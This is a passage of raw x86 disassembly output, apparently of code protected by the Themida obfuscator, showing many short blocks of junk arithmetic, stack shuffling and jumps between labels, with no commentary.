loc_556B12: ; CODE XREF: Themida_:00551ED2j
mov [esp+4+var_4], ebx
jmp sub_55ABA3
; ---------------------------------------------------------------------------
push [esp+4+var_4]
pop ecx
push edi
jmp loc_553938
; ---------------------------------------------------------------------------
loc_556B24: ; CODE XREF: sub_556A70-3F29j
push ebx
push ebp
push ebx
jmp loc_55B610
; ---------------------------------------------------------------------------
loc_556B2C: ; CODE XREF: Themida_:00551F90j
dec edi
push edi
not [esp+0Ch+var_C]
pop edi
jmp loc_55A9BA
; ---------------------------------------------------------------------------
push [esp+8+var_8]
mov eax, [esp+0Ch+var_C]
add esp, 4
push eax
push esp
pop eax
sub esp, 4
mov [esp+10h+var_10], edi
jmp loc_55864F
; ---------------------------------------------------------------------------
loc_556B51: ; CODE XREF: sub_556A70-1C13j
pop edx
jmp loc_554A8E
; ---------------------------------------------------------------------------
mov ecx, [esp-1Ah+arg_14+2]
push 37D0h
mov [esp-16h+arg_10+2], esi
mov esi, esp
add esi, 4
push ebp
mov ebp, 4
jmp loc_557695
; ---------------------------------------------------------------------------
loc_556B75: ; CODE XREF: sub_556A70-1432j
or ecx, 3A7A1314h
jmp loc_559E95
; ---------------------------------------------------------------------------
loc_556B80: ; CODE XREF: Themida_:00551EA6j
mov [esp+14h+var_14], edi
jmp loc_551679
; ---------------------------------------------------------------------------
loc_556B88: ; CODE XREF: Themida_:0055AC76j
add esi, 2
push eax
push esp
pop eax
push ebp
mov ebp, 332071D3h
xor ebp, 332071D7h
add eax, ebp
pop ebp
sub eax, 4
push eax
push [esp+1Ch+var_18]
mov eax, [esp+20h+var_20]
jmp loc_553D1D
; ---------------------------------------------------------------------------
loc_556BB2: ; CODE XREF: Themida_:005548D9j
pop esp
mov [esp+1Ch+var_1C], ebx
push ebp
push ecx
jmp loc_55CD44
; ---------------------------------------------------------------------------
loc_556BBD: ; CODE XREF: sub_556A70-2F8Bj
push 4255h
mov [esp-8+arg_4], ecx
push small 5095h
mov cx, word ptr [esp-6+arg_0+2]
push esi
push esp
pop esi
add esi, 4
add esi, 2
xor esi, [esp+0]
xor [esp+0], esi
xor esi, [esp+0]
pop esp
push edi
mov di, 3003h
shr di, 5
sub di, 0D8AEh
add di, 58D0h
push bp
jmp loc_555C82
; ---------------------------------------------------------------------------
loc_556BFD: ; CODE XREF: sub_556A70+47CCj
push 7B76h
mov [esp+4+var_4], edx
push 2690h
mov [esp+8+var_8], edi
push 7FD32813h
pop edi
push ebx
push 6190172Ch
pop ebx
shl ebx, 6
dec ebx
shr ebx, 8
jmp loc_550F08
; ---------------------------------------------------------------------------
loc_556C26: ; CODE XREF: Themida_:005526A5j
pop edi
add edi, 4
add edi, 4
xchg edi, [esp+8+var_8]
jmp loc_555AD8
; ---------------------------------------------------------------------------
loc_556C38: ; CODE XREF: Themida_:0055CF49j
add eax, 0F9D8351Ch
xor ebx, eax
jmp loc_557C99
; ---------------------------------------------------------------------------
loc_556C44: ; CODE XREF: Themida_:0055CCF0j
push [esp+8+var_8]
pop ecx
jmp loc_5571B5
; ---------------------------------------------------------------------------
loc_556C4D: ; CODE XREF: sub_556A70+66Ej
mov edx, [esp+8+var_8]
add esp, 4
push edi
jmp loc_551711
; ---------------------------------------------------------------------------
loc_556C5C: ; CODE XREF: sub_556A70-4071j
add esi, 4
jmp loc_55CA35
; ---------------------------------------------------------------------------
push [esp-8+arg_4]
push [esp-4+arg_0]
jmp loc_55A7F1
; ---------------------------------------------------------------------------
loc_556C72: ; CODE XREF: sub_556A70+EB6j
sub esp, 4
mov [esp+4+var_4], esi
jmp loc_558556
; ---------------------------------------------------------------------------
loc_556C7D: ; CODE XREF: Themida_:0055381Bj
push dword ptr [esp+4]
pop ebp
jmp loc_5557C2
; ---------------------------------------------------------------------------
loc_556C87: ; CODE XREF: sub_556A70-1FE1j
mov ecx, 2
jmp loc_552B08
; ---------------------------------------------------------------------------
loc_556C91: ; CODE XREF: sub_556A70+2270j
add ebx, ecx
pop ecx
add ebx, 4
xor ebx, [esp-8+arg_4]
jmp loc_551647
; ---------------------------------------------------------------------------
loc_556CA2: ; CODE XREF: sub_556A70-5A77j
xor edi, 9E54CCEAh
sub ebx, edi
pop edi
push edi
mov edi, 11594250h
xor edi, 58AE124Ah
sub ebx, edi
pop edi
jmp loc_556832
; ---------------------------------------------------------------------------
loc_556CBF: ; CODE XREF: Themida_:00555469j
mov [esp+4+var_4], esi
jmp loc_5550CD
; ---------------------------------------------------------------------------
loc_556CC7: ; CODE XREF: sub_556A70-3E1Bj
pop esp
add eax, 1780CC05h
xor edx, eax
mov eax, [esp-4+arg_0]
add esp, 4
not edx
push edi
mov edi, 1D090B03h
xor edi, 0C9C3AFEh
add edx, edi
pop edi
and [edi+1Ch], edx
jmp loc_556538
; ---------------------------------------------------------------------------
loc_556CF1: ; CODE XREF: sub_556A70+615Ej
mov ecx, 4
sub ebp, ecx
pop ecx
push 8C6h
jmp loc_558BF3
; ---------------------------------------------------------------------------
loc_556D03: ; CODE XREF: Themida_:00556651j
pop esp
jmp loc_550A46
; ---------------------------------------------------------------------------
push dword ptr [edi+3Ch]
jmp loc_55A048
; ---------------------------------------------------------------------------
loc_556D11: ; CODE XREF: sub_5567EA+6075j
pop esp
jmp loc_55BF58
; ---------------------------------------------------------------------------
loc_556D17: ; CODE XREF: sub_556A70-2D7j
sub edi, eax
push ecx
jmp loc_55CBBB
; ---------------------------------------------------------------------------
loc_556D1F: ; CODE XREF: Themida_:00559233j
pop edx
jmp loc_555E34
; ---------------------------------------------------------------------------
loc_556D25: ; CODE XREF: Themida_:005530DEj
add edx, 4
xchg edx, [esp+8+var_8]
pop esp
imul ecx
push 5B88h
mov [esp+8+var_8], edx
push eax
pushf
jmp loc_55B103
; ---------------------------------------------------------------------------
loc_556D40: ; CODE XREF: Themida_:00553C9Bj
add edx, ecx
mov ecx, [esp+10h+var_10]
add esp, 4
add edx, 2
xchg edx, [esp+0Ch+var_C]
pop esp
and word ptr [esp+8+var_8], ax
pushf
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_556D5C: ; CODE XREF: sub_55AE68-4FD5j
xor [esp+0Ch+var_8], ebp
pop ebp
pop ebp
xor ebp, 62BF348Eh
jmp loc_555CBD
; ---------------------------------------------------------------------------
loc_556D6D: ; CODE XREF: sub_556A70-265Ej
mov [esp+0Ah+var_C+2], ebp
mov ebp, esp
add ebp, 4
push ebx
jmp loc_558F58
; ---------------------------------------------------------------------------
loc_556D7E: ; CODE XREF: sub_556A70-193Ej
mov edx, eax
mov eax, [esp-4+arg_0]
jmp loc_559165
; ---------------------------------------------------------------------------
loc_556D88: ; CODE XREF: Themida_:0055C31Cj
mov [esp-4+arg_0], ebx
mov ebx, esp
push ecx
mov ecx, 4
add ebx, ecx
jmp loc_55956E
; ---------------------------------------------------------------------------
loc_556D9A: ; CODE XREF: sub_556A70-259Cj
sub bl, 12h
pop eax
sub bl, 0BFh
jmp loc_558A87
; ---------------------------------------------------------------------------
loc_556DA6: ; CODE XREF: sub_556A70+34EAj
pop edx
or eax, ecx
mov ecx, [esp-1Eh+arg_18+2]
add esp, 4
shr eax, 5
push edx
mov edx, 1CFD16D4h
or edx, 5B094E0Fh
sub edx, 0F405F6FEh
add eax, edx
pop edx
and eax, 73E44EB0h
jmp loc_554A94
; ---------------------------------------------------------------------------
loc_556DD1: ; CODE XREF: sub_558D0E+2930j
push esi
mov esi, esp
add esi, 4
jmp loc_55BCA2
; ---------------------------------------------------------------------------
loc_556DDF: ; CODE XREF: sub_55A9A4-A95j
push edx
mov edx, 35185BFFh
sub esp, 4
mov [esp-16h+arg_10+2], edx
not [esp-16h+arg_10+2]
pop edx
sub edx, 0CAE7A3FCh
sub ecx, 6F6B1CE6h
add ecx, edx
jmp loc_55AE11
; ---------------------------------------------------------------------------
loc_556E05: ; CODE XREF: sub_556A70-441Aj
add esp, 4
jmp loc_55A4E0
; ---------------------------------------------------------------------------
loc_556E10: ; CODE XREF: Themida_:005538EAj
mov edx, 4
add ebx, edx
pop edx
xchg ebx, [esp-4+arg_0]
pop esp
push eax
jmp loc_55AC11
; ---------------------------------------------------------------------------
loc_556E22: ; CODE XREF: Themida_:00558441j
add esp, 4
push ecx
jmp loc_556065
; ---------------------------------------------------------------------------
loc_556E2E: ; CODE XREF: Themida_:005527B9j
add eax, ebp
pop ebp
push ebp
push edx
mov edx, 53176330h
mov ebp, 60ACB836h
sub ebp, edx
pop edx
shl ebp, 4
dec ebp
not ebp
push edx
mov edx, 108D011Ch
add ebp, edx
jmp loc_55CDE2
; ---------------------------------------------------------------------------
loc_556E53: ; CODE XREF: sub_556A70+11A9j
mov edx, eax
pop eax
add edx, 1
xor edx, 58752911h
push edi
mov edi, 28454E61h
shr edi, 5
dec edi
xor edi, 3F7D0E12h
jmp loc_555198
; ---------------------------------------------------------------------------
loc_556E77: ; CODE XREF: Themida_:0055B9E5j
xor [esp+0], edx
xor edx, [esp+0]
mov esp, [esp+0]
jmp loc_55CEC5
; ---------------------------------------------------------------------------
loc_556E85: ; CODE XREF: Themida_:0055C152j
sub si, 3BF8h
sub si, 0EBB0h
jmp loc_55B03B
; ---------------------------------------------------------------------------
loc_556E94: ; CODE XREF: Themida_:0055A7ABj
push ecx
mov cl, 68h
push edx
jmp loc_55BE7B
; ---------------------------------------------------------------------------
loc_556E9D: ; CODE XREF: sub_556A70+937j
push 3705h
mov [esp+0Ch+var_C], ebx
mov ebx, 0
jmp loc_557CCA
; ---------------------------------------------------------------------------
loc_556EAF: ; CODE XREF: sub_55A748-8FC0j
add esp, 4
add al, 0BFh
add al, dl
sub al, 0BFh
pop edx
jmp loc_553A57
; ---------------------------------------------------------------------------
loc_556EBE: ; CODE XREF: sub_55BDF1+920j
mov [esp+4+var_4], eax
jmp loc_55B831
; ---------------------------------------------------------------------------
loc_556EC6: ; CODE XREF: sub_556A70+64AAj
add di, 0D827h
add si, di
pop edi
xor si, 0FDBAh
or cx, si
pop esi
or cx, 5311h
jmp loc_5568BE
; ---------------------------------------------------------------------------
loc_556EE2: ; CODE XREF: sub_55C259-430j
push edi
push esi
mov esi, ebp
mov edi, esi
pop esi
mov esi, edi
pop edi
pop ebp
push 2045h
mov [esp-4+arg_0], ecx
push esp
mov ecx, [esp+0]
jmp loc_559051
; ---------------------------------------------------------------------------
loc_556EFE: ; CODE XREF: Themida_:0055BB59j
sub ebx, 7C1C2B0Ch
add ebx, 66070D40h
add ebx, esi
sub ebx, 66070D40h
add ebx, 7C1C2B0Ch
pop esi
xchg ebx, [esp-4+arg_0]
pop esp
jmp loc_5555DA
; ---------------------------------------------------------------------------
loc_556F22: ; CODE XREF: Themida_:0055C51Cj
add edx, 8245C527h
add ebx, 61004Ah
add ebx, edx
jmp loc_558A73
; ---------------------------------------------------------------------------
loc_556F35: ; CODE XREF: Themida_:00559967j
pop ebx
jmp loc_55467E
; ---------------------------------------------------------------------------
loc_556F3B: ; CODE XREF: Themida_:0055B20Cj
pop esi
mov eax, esi
pop esi
sub esp, 4
mov [esp-10h+arg_C], eax
pop ecx
mov eax, [esp-14h+arg_10]
add esp, 4
add ecx, 0F9CD283Dh
xor eax, ecx
mov ecx, [esp-18h+arg_14]
push ebx
jmp loc_55B997
; ---------------------------------------------------------------------------
loc_556F60: ; CODE XREF: sub_556A70-5693j
xchg eax, [esp-14h+arg_10]
pop esp
push dword ptr [edi+eax*4]
push ebp
jmp loc_5549A6
; ---------------------------------------------------------------------------
loc_556F6D: ; CODE XREF: sub_5547A1-16EFj
xor esi, [esp-10h+arg_C]
pop esp
push ebx
mov ebx, esp
add ebx, 4
jmp loc_5588F3
; ---------------------------------------------------------------------------
loc_556F7F: ; CODE XREF: sub_55A704+985j
push ebx
mov ebx, 4
sub esi, 239665E1h
add esi, ebx
add esi, 239665E1h
mov ebx, [esp-0Ch+arg_8]
add esp, 4
xchg esi, [esp-10h+arg_C]
pop esp
push 54A2h
mov [esp-10h+arg_C], edi
jmp loc_55A106
; ---------------------------------------------------------------------------
loc_556FAA: ; CODE XREF: sub_556A70+AA7j
pop ebp
push edx
mov edx, 346F2A2Ah
jmp loc_55C3A1
; ---------------------------------------------------------------------------
loc_556FB6: ; CODE XREF: Themida_:0055AB28j
inc edx
push ecx
mov ecx, 3BD97D9Dh
dec ecx
dec ecx
xor ecx, 1A334B9Fh
and edx, ecx
pop ecx
not edx
or edx, 3F907AC6h
jmp loc_559F52
; ---------------------------------------------------------------------------
loc_556FD5: ; CODE XREF: sub_556A70+5F27j
shr eax, 5
sub eax, 608112BAh
not eax
sub eax, 290A4F9h
xor ebp, eax
pop eax
and ebx, ebp
pop ebp
neg ebx
add ebx, 1
shl ebx, 3
sub ebx, 10538DDFh
push ecx
jmp loc_55B2FB
; ---------------------------------------------------------------------------
loc_557001: ; CODE XREF: sub_559D5E-63AFj
pop edx
shr edx, 1
or edx, 76BA0103h
add edx, 326B0C7Fh
add edx, 4E9AB39Fh
mov edi, edx
pop edx
jmp loc_555809
; ---------------------------------------------------------------------------
loc_55701E: ; CODE XREF: sub_556A70+AF2j
mov edx, [esp-1Ch+arg_18]
add esp, 4
push esi
mov esi, 6D434B90h
jmp loc_554E0E
; ---------------------------------------------------------------------------
loc_55702F: ; CODE XREF: sub_556A70+EA9j
push ebp
push esp
jmp loc_551A8D
; ---------------------------------------------------------------------------
loc_557036: ; CODE XREF: Themida_:005512BFj
sub edi, 771FFFEh
add ebp, edi
pop edi
jmp loc_552312
; ---------------------------------------------------------------------------
loc_557044: ; CODE XREF: sub_556A70-5148j
sub al, bh
push edx
push ecx
mov ch, 3Fh
neg ch
shl ch, 7
add ch, 17h
jmp loc_557933
; ---------------------------------------------------------------------------
loc_557057: ; CODE XREF: Themida_:0055123Fj
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_55705C: ; CODE XREF: sub_556A70+4C2Aj
mov ecx, esp
add ecx, 4
jmp loc_555DBA
; ---------------------------------------------------------------------------
loc_557069: ; CODE XREF: sub_556A70+3097j
sub esi, 692C796Ch
add esi, eax
add esi, 692C796Ch
pop eax
xor esi, [esp+4+var_4]
xor [esp+4+var_4], esi
xor esi, [esp+4+var_4]
pop esp
push ebx
jmp loc_555FFD
; ---------------------------------------------------------------------------
loc_557088: ; CODE XREF: sub_556A70+EBEj
mov eax, 4
add ecx, eax
jmp loc_5513B8
; ---------------------------------------------------------------------------
loc_557094: ; CODE XREF: sub_552FCD+3j
add ebp, 4
sub ebp, 4
jmp loc_5570AE
; ---------------------------------------------------------------------------
loc_5570A2: ; CODE XREF: Themida_:00559ADAj
and dl, 96h
not dl
inc dl
jmp loc_559617
; ---------------------------------------------------------------------------
loc_5570AE: ; CODE XREF: sub_556A70+62Dj
xchg ebp, [esp+4+var_4]
pop esp
mov [esp+0], ebx
jmp loc_55C9C1
; ---------------------------------------------------------------------------
loc_5570BA: ; CODE XREF: Themida_:0055ADE6j
pop esi
xchg edx, [esp-4+arg_0]
mov esp, [esp-4+arg_0]
mov cx, word ptr [esp-4+arg_0]
push eax
push esp
pop eax
add eax, 4
push 6F0Eh
mov [esp+4+var_4], edi
jmp sub_557FA0
; ---------------------------------------------------------------------------
loc_5570DA: ; CODE XREF: Themida_:0055A4F7j
pop edx
push dword ptr [esp+0]
jmp loc_556C4D
; ---------------------------------------------------------------------------
loc_5570E3: ; CODE XREF: sub_554BBA-2390j
or eax, eax
jz loc_5547BE
sub esp, 4
mov [esp+8+var_8], esi
push ecx
push esi
push esp
jmp loc_55593B
; ---------------------------------------------------------------------------
loc_5570F9: ; CODE XREF: sub_556A70+147Ej
mov [esp+14h+var_14], ecx
push ebx
push edi
mov edi, 166170A1h
and edi, 67A95C0Eh
dec edi
sub edi, 6214FBFh
mov ebx, edi
pop edi
jmp loc_55BA0B
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
push edx
jmp loc_55AA3A
; ---------------------------------------------------------------------------
loc_557121: ; CODE XREF: sub_556A70-2699j
xor [eax], ecx
pop eax
mov edx, [esp+0Ah+var_C+2]
jmp loc_55C8BC
; ---------------------------------------------------------------------------
loc_55712C: ; CODE XREF: Themida_:00559B7Fj
add edi, 1
add edi, 2C5A00F3h
xor edi, 694313FFh
add edx, edi
jmp loc_551282
; ---------------------------------------------------------------------------
loc_557145: ; CODE XREF: sub_556A70-1252j
shl ebp, 2
push edi
jmp loc_55676F
; ---------------------------------------------------------------------------
loc_55714E: ; CODE XREF: sub_5566B9-34B3j
add esp, 4
jmp sub_557D5C
; ---------------------------------------------------------------------------
loc_557159: ; CODE XREF: sub_556A70-4D1Ej
push 24757219h
pop eax
add eax, 79C5331Dh
shl eax, 4
add eax, 9B4B06D5h
mov esi, eax
pop eax
jmp loc_55C647
; ---------------------------------------------------------------------------
loc_557174: ; CODE XREF: Themida_:0055B0BCj
add ecx, 3F7B0893h
pop ebx
jmp sub_55B88F
; ---------------------------------------------------------------------------
loc_557180: ; CODE XREF: sub_556A70+45BBj
sub edi, ebp
pop ebp
mov eax, edi
pop edi
jmp loc_5555E9
; ---------------------------------------------------------------------------
loc_55718B: ; CODE XREF: sub_556A70+329Bj
push [esp-8+arg_4]
jmp loc_5584DC
; ---------------------------------------------------------------------------
loc_557193: ; CODE XREF: Themida_:0055A83Aj
inc edx
jmp sub_550E2C
; ---------------------------------------------------------------------------
loc_557199: ; CODE XREF: sub_556A70-1D3j
and ebp, 2D105D7Ah
inc ebp
push esi
jmp loc_55AE3A
; ---------------------------------------------------------------------------
loc_5571A6: ; CODE XREF: sub_556A70+CACj
shr eax, 0Ch
xor eax, ecx
push 109Bh
jmp loc_552C81
; ---------------------------------------------------------------------------
loc_5571B5: ; CODE XREF: sub_556A70+1D8j
push edx
jmp loc_5543F3
; ---------------------------------------------------------------------------
loc_5571BB: ; CODE XREF: sub_556A70+D49j
add eax, 2
xchg eax, [esp+0Ch+var_C]
mov esp, [esp+0Ch+var_C]
shr byte ptr [esp+0Ch+var_C], cl
pushf
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_5571CD: ; CODE XREF: sub_556A70+3858j
sub esp, 4
mov [esp+14h+var_14], edi
jmp loc_5568E0
; ---------------------------------------------------------------------------
loc_5571DB: ; CODE XREF: sub_5530EF+3j
add ebp, 4
add ebp, 4
xchg ebp, [esp+14h+var_14]
mov esp, [esp+14h+var_14]
pop dword ptr [edi+24h]
loc_5571F0: ; CODE XREF: sub_556A70+4A20j
sub esp, 4
mov [esp+14h+var_14], ecx
mov ecx, ebx
mov eax, ecx
jmp loc_551D09
; ---------------------------------------------------------------------------
loc_5571FF: ; CODE XREF: sub_556A70+3CB9j
mov [esp+14h+var_14], ecx
jmp loc_5546A8
; ---------------------------------------------------------------------------
loc_557207: ; CODE XREF: sub_556A70-5F86j
push ebp
push esi
mov esi, 6B53470Eh
shr esi, 6
not esi
xor esi, 0BBA2F02Eh
mov ebp, esi
pop esi
add eax, 4A8E563Ah
jmp loc_55B13D
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl word ptr [esp-4+arg_0], cl
pushf
jmp loc_557FB4
; ---------------------------------------------------------------------------
loc_557236: ; CODE XREF: Themida_:00555D5Dj
pop ebx
mov ebx, esi
push [esp-4+arg_0]
pop esi
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp+0]
pop esp
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_557252: ; CODE XREF: Themida_:005531C8j
add esp, 4
jmp loc_55A3EF
; ---------------------------------------------------------------------------
loc_55725A: ; CODE XREF: sub_556A70-28EBj
mov [esp-0Ch+arg_8], ebx
push ecx
mov ecx, 472852CCh
mov ebx, 36E23B31h
add ebx, ecx
pop ecx
sub eax, 220B02AAh
jmp loc_550D33
; ---------------------------------------------------------------------------
loc_557275: ; CODE XREF: sub_55AA5F-8500j
push [esp-0Ch+arg_C]
pop edx
pop [esp-0Ch+arg_8]
pop esp
mov [esp-14h+arg_10], ecx
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_557286: ; CODE XREF: Themida_:00554896j
sub eax, 7D50223Eh
push 3A5Eh
jmp loc_556937
; ---------------------------------------------------------------------------
loc_557295: ; CODE XREF: sub_556A70+13F9j
mov edi, ebx
pop ebx
sub edi, 3F6667E1h
xor edi, 19F95045h
push ecx
mov ecx, 49BD1634h
and ecx, 0E592106h
dec ecx
not ecx
or ecx, 6707264Bh
and ecx, 0DDF4D19h
xor ecx, 5FB237EFh
and edi, ecx
pop ecx
dec edi
jmp loc_553C4C
; ---------------------------------------------------------------------------
loc_5572CE: ; CODE XREF: sub_556A70-485Cj
add esp, 4
jmp loc_552066
; ---------------------------------------------------------------------------
loc_5572D9: ; CODE XREF: sub_556A70+1098j
xor bl, al
jmp loc_5520BA
; ---------------------------------------------------------------------------
loc_5572E0: ; CODE XREF: sub_553E6A-17F6j
add esi, 45CA46ABh
shr esi, 2
jmp loc_5515A1
; ---------------------------------------------------------------------------
loc_5572EE: ; CODE XREF: Themida_:0055A16Bj
mov ecx, 783653AEh
or ecx, 6F61070Fh
and ecx, 71B903D4h
and ecx, 18132D40h
or ecx, 6A0D207Fh
push ebp
mov ebp, 7A1D217Bh
sub ecx, ebp
pop ebp
add edi, ecx
pop ecx
xchg edi, [esp+8+var_8]
mov esp, [esp+8+var_8]
sub ecx, 64E77962h
pop edx
push 4CFh
mov [esp+8+var_8], edx
push esp
pop edx
add edx, 4
push ebx
mov ebx, 48273339h
jmp loc_55B554
; ---------------------------------------------------------------------------
loc_55733F: ; CODE XREF: sub_556A70+16C9j
mov ebx, esi
pop esi
mov edx, [esp+8+var_8]
add esp, 4
add edi, ebx
pop ebx
jmp loc_5596BB
; ---------------------------------------------------------------------------
mov cx, [esp+0]
push edi
jmp loc_5568A2
; ---------------------------------------------------------------------------
loc_55735D: ; CODE XREF: Themida_:0055A551j
push ecx
mov ecx, 4577749Fh
jmp loc_552D69
; ---------------------------------------------------------------------------
loc_557368: ; CODE XREF: Themida_:005569F9j
xor cl, 32h
mov al, cl
mov ecx, [esp+8+var_8]
add esp, 4
sub al, 77h
and dh, al
pop eax
shr dh, 1
add dh, 0AFh
add al, 23h
sub al, dh
jmp loc_559310
; ---------------------------------------------------------------------------
loc_557389: ; CODE XREF: Themida_:0055423Aj
mov ecx, [esp+0]
add esp, 4
push eax
push 3477h
mov [esp+4+var_4], ebx
jmp loc_559491
; ---------------------------------------------------------------------------
loc_55739D: ; CODE XREF: sub_556A70-5387j
sub eax, 53F233DFh
add eax, 585E7215h
jmp loc_556E9D
; ---------------------------------------------------------------------------
loc_5573AC: ; CODE XREF: sub_556A70-4CFEj
mov ch, bh
mov ebx, [esp+4+var_4]
add esp, 4
mov bl, ch
pop ecx
push edx
jmp loc_551A42
; ---------------------------------------------------------------------------
loc_5573BD: ; CODE XREF: sub_556A70+10ACj
add cl, 36h
mov dh, cl
mov ecx, [esp+0]
add esp, 4
add al, 6Eh
add al, 18h
add al, dh
push ecx
mov ch, 8
shr ch, 3
dec ch
sub ch, 0E8h
jmp loc_555EDD
; ---------------------------------------------------------------------------
loc_5573DE: ; CODE XREF: sub_556A70-CC9j
add edx, edi
add edx, 29EF3030h
add dword ptr [edx], 1
pop edx
jmp sub_553651
; ---------------------------------------------------------------------------
loc_5573F2: ; CODE XREF: Themida_:00559F28j
mov ch, 3Ah
jmp loc_55483D
; ---------------------------------------------------------------------------
loc_5573F9: ; CODE XREF: Themida_:0055CEDBj
sub esp, 4
jmp loc_5559FA
; ---------------------------------------------------------------------------
loc_557401: ; CODE XREF: Themida_:0055241Cj
mov edi, 7CFE6A15h
neg edi
jmp loc_5564E3
; ---------------------------------------------------------------------------
loc_55740D: ; CODE XREF: sub_556A70-F49j
add edi, 4
xchg edi, [esp-26h+arg_20+2]
mov esp, [esp-26h+arg_20+2]
push dword ptr [eax]
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_55741D: ; CODE XREF: sub_5539DB+552Bj
mov [esp-22h+arg_1C+2], edx
not [esp-22h+arg_1C+2]
pop edx
xchg ebx, edx
push ebx
not [esp-22h+arg_1C+2]
jmp loc_554D43
; ---------------------------------------------------------------------------
loc_55742F: ; CODE XREF: Themida_:0055CF12j
mov ecx, 561344B1h
xor ecx, 561344B3h
add ebp, 3FD66A72h
add ebp, ecx
sub ebp, 3FD66A72h
mov ecx, [esp-22h+arg_1C+2]
add esp, 4
xor ebp, [esp-26h+arg_20+2]
jmp loc_55ACE7
; ---------------------------------------------------------------------------
loc_557456: ; CODE XREF: Themida_:00553D84j
mov [esp-26h+arg_20+2], edx
jmp loc_5556A0
; ---------------------------------------------------------------------------
loc_55745E: ; CODE XREF: sub_5599E2-3B66j
mov esi, 5D067624h
sub esi, 5D067620h
add ebx, esi
pop esi
jmp loc_559F5F
; ---------------------------------------------------------------------------
loc_557471: ; CODE XREF: sub_55C607+10j
pop edi
pop edx
push esi
mov esi, 4
add edx, esi
mov esi, [esp-2Eh+arg_28+2]
add esp, 4
push 484Dh
mov [esp-2Eh+arg_28+2], edi
push esi
push 70B6245Ch
pop esi
jmp loc_550BDE
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
xor [esp-26h+arg_20+2], 47F80717h
push [esp-26h+arg_20+2]
pop eax
add esp, 4
jmp loc_5593E9
; ---------------------------------------------------------------------------
loc_5574AE: ; CODE XREF: Themida_:0055CC64j
mov esp, [esp-2Ah+arg_24+2]
and [esp-2Ah+arg_24+2], eax
pushf
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_5574BA: ; CODE XREF: sub_556A70+5F6Fj
pop esp
or edi, 49565302h
jmp loc_559BF8
; ---------------------------------------------------------------------------
loc_5574C6: ; CODE XREF: sub_556A70-43Cj
and edx, 1EC05150h
add edx, 4C8E2ED3h
sub ebx, edx
jmp loc_5518D6
; ---------------------------------------------------------------------------
loc_5574D9: ; CODE XREF: sub_556A70+102Ej
push ebp
mov ebp, 73650A14h
jmp loc_55C0F4
; ---------------------------------------------------------------------------
loc_5574E4: ; CODE XREF: Themida_:0055C413j
xor word ptr [esp+14h+var_14], bp
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_5574ED: ; CODE XREF: sub_556A70-5F41j
mov edi, 4DE3156Dh
jmp loc_5588CF
; ---------------------------------------------------------------------------
loc_5574F7: ; CODE XREF: sub_5563FF+6300j
mov ebx, esp
push edx
mov edx, 77A5600Ah
shl edx, 8
and edx, 393E4587h
neg edx
jmp loc_555F94
; ---------------------------------------------------------------------------
loc_55750F: ; CODE XREF: sub_556058+8j
xor ebp, 2E312D1Ch
mov ebx, ebp
jmp loc_556FAA
; ---------------------------------------------------------------------------
loc_55751C: ; CODE XREF: Themida_:00551456j
push 114h
mov [esp+0], edi
push esi
push 678A5E9Eh
pop esi
sub esi, 0ED2E12F0h
mov edi, esi
pop esi
sub [esp-2+arg_0+2], edi
mov edi, [esp+0]
push ecx
mov ecx, esp
jmp loc_5523A1
; ---------------------------------------------------------------------------
loc_557543: ; CODE XREF: sub_556A70-57F3j
xchg ebx, [esp-12h+arg_C+2]
pop esp
xor eax, 6F13942h
or eax, eax
jnz loc_5580E2
push 3437h
mov [esp-12h+arg_C+2], edi
jmp loc_5553E0
; ---------------------------------------------------------------------------
loc_557561: ; CODE XREF: Themida_:00557EB5j
pop ebx
jmp loc_55701E
; ---------------------------------------------------------------------------
loc_557567: ; CODE XREF: Themida_:00555CE0j
add ecx, esi
pop esi
xchg ecx, [esp-1Ah+arg_14+2]
pop esp
add eax, ebp
mov ebp, [esp-1Eh+arg_18+2]
sub esp, 4
mov [esp-1Ah+arg_14+2], edx
jmp loc_552C28
; ---------------------------------------------------------------------------
loc_557581: ; CODE XREF: Themida_:00557D86j
sub esp, 4
mov [esp-16h+arg_10+2], esi
mov esi, esp
push 0D45h
mov [esp-12h+arg_C+2], edi
mov edi, 45BF0BF4h
push ebp
push esi
push 58CF0462h
pop esi
add esi, 1E5743B2h
add esi, 634C00B5h
xor esi, 0A42E6894h
jmp loc_556377
; ---------------------------------------------------------------------------
loc_5575B5: ; CODE XREF: sub_55265B+7j
dec ebp
add ebp, 14BA41AAh
mov ecx, ebp
pop ebp
jmp sub_554299
; ---------------------------------------------------------------------------
loc_5575C4: ; CODE XREF: sub_556A70+3579j
mov esi, ebx
pop ebx
jmp loc_552330
; ---------------------------------------------------------------------------
loc_5575CC: ; CODE XREF: Themida_:00555F74j
pop eax
xchg ebx, [esp-16h+arg_10+2]
mov esp, [esp-16h+arg_10+2]
add esp, 4
jmp loc_55CBEF
; ---------------------------------------------------------------------------
loc_5575DE: ; CODE XREF: sub_5525ED+13ACj
sub edi, 19480410h
sub edi, 47FC5C9Eh
add edi, ebx
add edi, 47FC5C9Eh
add edi, 19480410h
pop ebx
jmp loc_5533BC
; ---------------------------------------------------------------------------
loc_5575FE: ; CODE XREF: Themida_:0055AD4Ej
sub esp, 4
mov [esp-1Ah+arg_14+2], edi
mov edi, edx
mov ecx, edi
jmp loc_55CE16
; ---------------------------------------------------------------------------
loc_55760D: ; CODE XREF: sub_556A70+25EFj
pop eax
sub ecx, 4
xchg ecx, [esp-1Eh+arg_18+2]
pop esp
mov [esp-22h+arg_1C+2], esi
jmp loc_5548AE
; ---------------------------------------------------------------------------
loc_55761D: ; CODE XREF: Themida_:00559936j
mov ebp, 3C196E5Dh
mov ecx, ebp
jmp loc_55413C
; ---------------------------------------------------------------------------
mov ax, word ptr [esp-22h+arg_1C+2]
push eax
mov eax, esp
push esi
mov esi, 44AB69ADh
shl esi, 5
xor esi, 956D35A4h
jmp sub_556058
; ---------------------------------------------------------------------------
loc_557644: ; CODE XREF: sub_556A70-45FAj
mov ebx, 6880619Ch
add ebx, 2C391174h
shr ebx, 8
push ecx
mov ecx, 7F679CBh
dec ecx
sub ecx, 0EDB053E9h
